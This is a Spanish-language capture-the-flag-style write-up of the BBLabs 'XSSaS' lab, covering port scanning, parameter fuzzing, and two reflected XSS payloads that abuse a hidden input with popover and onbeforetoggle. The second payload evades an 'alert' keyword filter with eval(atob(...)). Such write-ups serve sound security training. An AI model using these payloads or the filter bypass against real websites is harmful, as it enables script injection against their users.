Entrada

BBLabs - XSSaS | (Difficulty Hard) - XSS

Writeup del laboratorio de dificultad dificil XSSaS de la página https://bugbountylabs.com/

BBLabs - XSSaS | (Difficulty Hard) - XSS

TCP Scan

Realizo un escaneo de puertos TCP contra la dirección IP 192.168.1.139 pudiendo observar dos puertos, 22, 80, el interesante es el puerto 80 que aloja un servidor web Werkzeug httpd 2.2.2

1
2
rustscan -a 192.168.1.139 --ulimit 5000 -g
192.168.1.139 -> [22,80]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -p22,80 -sCV 192.168.1.139
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-05 22:03 CET
Nmap scan report for 192.168.1.139 (192.168.1.139)
Host is up (0.00015s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Verificaci\xC3\xB3n de Usuario
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
MAC Address: 08:00:27:91:6A:9B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds

Exploitation

80/TCP

Accedo a http://192.168.1.139/ puediendo observar una web que contiene un título que indica "Usuario no encontrado", junto con un boton que indica "Click Here"

image

Analizando el código fuente observo la existencia de un formulario con un input oculto, y por otro lado el button utiliza el atributo "popovertarget" apuntando a un elemento que contenga el id "x", popover es una aracterística de HTML que permite a un botón o enlace activar una ventana emergente sin necesidad de JavaScript

image

Utilizo wffuz para realizar para realizar fuzzing de parámetros en la URL, consigo encontrar que existe un parámetro, el cual es /?user=

1
2
3
4
5
wfuzz -c --hh=548 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.1.139/?FUZZ=ju4ncaa"
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                              
=====================================================================
000000125:   200        20 L     42 W       555 Ch      "user"  

Consigo observar que el valor que introduzco a través del parámetro GET ?user= se ve reflejado en el value del input oculto

image

Para entender mejor como realizar la explotación adjunto dos artículos de PortSwigger:

Basicamente aprovecharé el input hidden y desde la URL del navegador a través del parámetro GET /?user= escaparé value= con una comilla ", le asignaré el id=x al que hace referencia el <button> el atributo popover que va a permitir que sea un popover visible y por ultimo aprovecharé el evento onbeforetoggle donde indicaré que quiero ejecutar cuando el popover se active

Payload

1
/?user="id=x popover onbeforetoggle="alert()

Al intentar ejecutar un alert() obtengo un mensaje que indica que la palabra alert no está permitida en el nombre de usuario.

image

Algunos payloads que pueden bypassear esta comprobación se encuentran en el siguiente artículo de PortSwigger:

Payload

1
/?user="id=x popover onbeforetoggle="eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));

image

Esta entrada está licenciada bajo CC BY 4.0 por el autor.